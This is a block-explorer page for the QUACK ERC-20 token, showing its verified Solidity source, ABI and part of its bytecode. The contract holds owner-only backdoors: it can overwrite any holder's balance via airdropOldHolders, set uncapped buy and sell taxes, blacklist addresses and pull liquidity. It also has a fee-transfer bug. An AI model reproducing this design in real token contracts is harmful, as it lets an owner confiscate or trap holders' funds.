ERC-20
Overview
Max Total Supply
100,000,000 QUACK
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
326,729.48383655 QUACKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
QUACK
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ pragma solidity ^0.8.13; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract QUACK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 100000000 * 10**8; uint256 private _contractAutoLpLimitToken = 1000000000000000000; uint256 private _taxFee; uint256 private _buyTaxMarketing = 5; uint256 private _sellTaxMarketing = 9; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 35; address payable private _taxWallet; address payable private _contractPayment; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "QUACK"; string private constant _symbol = "QUACK"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _contractPayment = payable(address(this)); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount = _tTotal.mul(2).div(10**2); _maxWallet = _tTotal.mul(4).div(10**2); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); swapTokensForEth(marketingAmount); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidityInitial() external payable onlyOwner { _uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external onlyOwner returns (uint amountA, uint amountB) { return _uniswap.removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function emergencyWithdraw(address _token) public onlyOwner { if (_token == address(0)) { owner().call{ value: address(this).balance }(""); } else { IERC20 token = IERC20(_token); uint bal = token.balanceOf(address(this)); token.approve(address(this), bal); token.transfer(owner(), bal); } } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner { for(uint256 i = 0; i < recipients.length; i++) { _balance[recipients[i]] = amounts[i] * 10**8; emit Transfer(address(this), recipients[i], amounts[i] * 10**8); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"coinReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidityInitial","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdropOldHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isInSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountAMin","type":"uint256"},{"internalType":"uint256","name":"amountBMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setAutoLpFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setBuyMarketingTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setContractAutoLpLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setSellMarketingTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052662386f26fc10000600655670de0b6b3a764000060075560056009556009600a556003600b556023600c556000601260156101000a81548160ff0219169083151502179055506000601260166101000a81548160ff0219169083151502179055503480156200007257600080fd5b506000620000856200042360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001336200042360201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555030600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600954620001c69190620005a1565b600881905550737a250d5630b4cf539739df2c5dacb4c659f2488d601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200032a60646200031660026006546200042b60201b620020901790919060201c565b620004ae60201b6200210a1790919060201c565b600f819055506200036760646200035360046006546200042b60201b620020901790919060201c565b620004ae60201b6200210a1790919060201c565b601081905550600654600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200041591906200060f565b60405180910390a362000854565b600033905090565b60008083036200043f5760009050620004a8565b600082846200044f91906200062c565b9050828482620004609190620006bc565b14620004a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200049a906200077b565b60405180910390fd5b809150505b92915050565b6000620004f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200050060201b60201c565b905092915050565b600080831182906200054a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000541919062000830565b60405180910390fd5b50600083856200055b9190620006bc565b9050809150509392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005ae8262000568565b9150620005bb8362000568565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005f357620005f262000572565b5b828201905092915050565b620006098162000568565b82525050565b6000602082019050620006266000830184620005fe565b92915050565b6000620006398262000568565b9150620006468362000568565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000682576200068162000572565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620006c98262000568565b9150620006d68362000568565b925082620006e957620006e86200068d565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000763602183620006f4565b9150620007708262000705565b604082019050919050565b60006020820190508181036000830152620007968162000754565b9050919050565b600081519050919050565b60005b83811015620007c8578082015181840152602081019050620007ab565b83811115620007d8576000848401525b50505050565b6000601f19601f8301169050919050565b6000620007fc826200079d565b620008088185620006f4565b93506200081a818560208601620007a8565b6200082581620007de565b840191505092915050565b600060208201905081810360008301526200084c8184620007ef565b905092915050565b61469d80620008646000396000f3fe6080604052600436106101fc5760003560e01c8063715018a61161010d578063baa2abde116100a0578063dd62ed3e1161006f578063dd62ed3e146106e1578063e35077971461071e578063ea2f0b3714610747578063f275f64b14610770578063f8b45b051461079957610203565b8063baa2abde14610612578063bc33718214610650578063bfd7928414610679578063cc996899146106b657610203565b80638da5cb5b116100dc5780638da5cb5b1461056857806395d89b41146105935780639e78fb4f146105be578063a9059cbb146105d557610203565b8063715018a6146104f35780637b41192a1461050a578063818a7def146105335780638c0b5e221461053d57610203565b8063351a964d1161019057806363148a501161015f57806363148a50146104245780636b9990531461044d5780636fc3eaec146104765780636ff1c9bc1461048d57806370a08231146104b657610203565b8063351a964d1461037e5780634263ec33146103a9578063437823ec146103d25780635d0044ca146103fb57610203565b806318160ddd116101cc57806318160ddd146102c25780631d60c2b0146102ed57806323b872dd14610316578063313ce5671461035357610203565b8062b8cf2a14610208578063061c82d01461023157806306fdde031461025a578063095ea7b31461028557610203565b3661020357005b600080fd5b34801561021457600080fd5b5061022f600480360381019061022a919061342a565b6107c4565b005b34801561023d57600080fd5b50610258600480360381019061025391906134a9565b6108ee565b005b34801561026657600080fd5b5061026f61098d565b60405161027c919061355e565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190613580565b6109ca565b6040516102b991906135db565b60405180910390f35b3480156102ce57600080fd5b506102d76109e8565b6040516102e49190613605565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f91906134a9565b6109f2565b005b34801561032257600080fd5b5061033d60048036038101906103389190613620565b610a91565b60405161034a91906135db565b60405180910390f35b34801561035f57600080fd5b50610368610b6a565b604051610375919061368f565b60405180910390f35b34801561038a57600080fd5b50610393610b73565b6040516103a091906135db565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906134a9565b610b8a565b005b3480156103de57600080fd5b506103f960048036038101906103f491906136aa565b610c29565b005b34801561040757600080fd5b50610422600480360381019061041d91906134a9565b610d19565b005b34801561043057600080fd5b5061044b6004803603810190610446919061379a565b610dc6565b005b34801561045957600080fd5b50610474600480360381019061046f91906136aa565b610fae565b005b34801561048257600080fd5b5061048b61109e565b005b34801561049957600080fd5b506104b460048036038101906104af91906136aa565b6110af565b005b3480156104c257600080fd5b506104dd60048036038101906104d891906136aa565b61137b565b6040516104ea9190613605565b60405180910390f35b3480156104ff57600080fd5b506105086113c4565b005b34801561051657600080fd5b50610531600480360381019061052c91906134a9565b611517565b005b61053b6115b6565b005b34801561054957600080fd5b50610552611724565b60405161055f9190613605565b60405180910390f35b34801561057457600080fd5b5061057d61172e565b60405161058a9190613821565b60405180910390f35b34801561059f57600080fd5b506105a8611757565b6040516105b5919061355e565b60405180910390f35b3480156105ca57600080fd5b506105d3611794565b005b3480156105e157600080fd5b506105fc60048036038101906105f79190613580565b611b6b565b60405161060991906135db565b60405180910390f35b34801561061e57600080fd5b506106396004803603810190610634919061383c565b611b89565b6040516106479291906138de565b60405180910390f35b34801561065c57600080fd5b50610677600480360381019061067291906134a9565b611cda565b005b34801561068557600080fd5b506106a0600480360381019061069b91906136aa565b611d87565b6040516106ad91906135db565b60405180910390f35b3480156106c257600080fd5b506106cb611da7565b6040516106d891906135db565b60405180910390f35b3480156106ed57600080fd5b5061070860048036038101906107039190613907565b611dbe565b6040516107159190613605565b60405180910390f35b34801561072a57600080fd5b50610745600480360381019061074091906134a9565b611e45565b005b34801561075357600080fd5b5061076e600480360381019061076991906136aa565b611ee4565b005b34801561077c57600080fd5b5061079760048036038101906107929190613973565b611fd4565b005b3480156107a557600080fd5b506107ae612086565b6040516107bb9190613605565b60405180910390f35b6107cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906139ec565b60405180910390fd5b60005b81518110156108ea5760016005600084848151811061087e5761087d613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108e290613a6a565b91505061085c565b5050565b6108f6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906139ec565b60405180910390fd5b8060088190555050565b60606040518060400160405280600581526020017f515541434b000000000000000000000000000000000000000000000000000000815250905090565b60006109de6109d7612154565b848461215c565b6001905092915050565b6000600654905090565b6109fa612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e906139ec565b60405180910390fd5b80600a8190555050565b6000610a9e848484612325565b610b5f84610aaa612154565b610b5a8560405180606001604052806028815260200161464060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b10612154565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129799092919063ffffffff16565b61215c565b600190509392505050565b60006008905090565b6000601260169054906101000a900460ff16905090565b610b92612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906139ec565b60405180910390fd5b8060098190555050565b610c31612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb5906139ec565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d21612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906139ec565b60405180910390fd5b6010548111610dbc57600080fd5b8060108190555050565b610dce612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e52906139ec565b60405180910390fd5b60005b8251811015610fa9576305f5e100828281518110610e7f57610e7e613a0c565b5b6020026020010151610e919190613ab2565b60026000858481518110610ea857610ea7613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610f0157610f00613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100858581518110610f6f57610f6e613a0c565b5b6020026020010151610f819190613ab2565b604051610f8e9190613605565b60405180910390a38080610fa190613a6a565b915050610e5e565b505050565b610fb6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a906139ec565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60004790506110ac816129dd565b50565b6110b7612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111ed5761118061172e565b73ffffffffffffffffffffffffffffffffffffffff16476040516111a390613b3d565b60006040518083038185875af1925050503d80600081146111e0576040519150601f19603f3d011682016040523d82523d6000602084013e6111e5565b606091505b505050611378565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161122d9190613821565b602060405180830381865afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190613b67565b90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b81526004016112ab929190613b94565b6020604051808303816000875af11580156112ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ee9190613bd2565b508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61131361172e565b836040518363ffffffff1660e01b8152600401611331929190613b94565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190613bd2565b5050505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611459576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611450906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff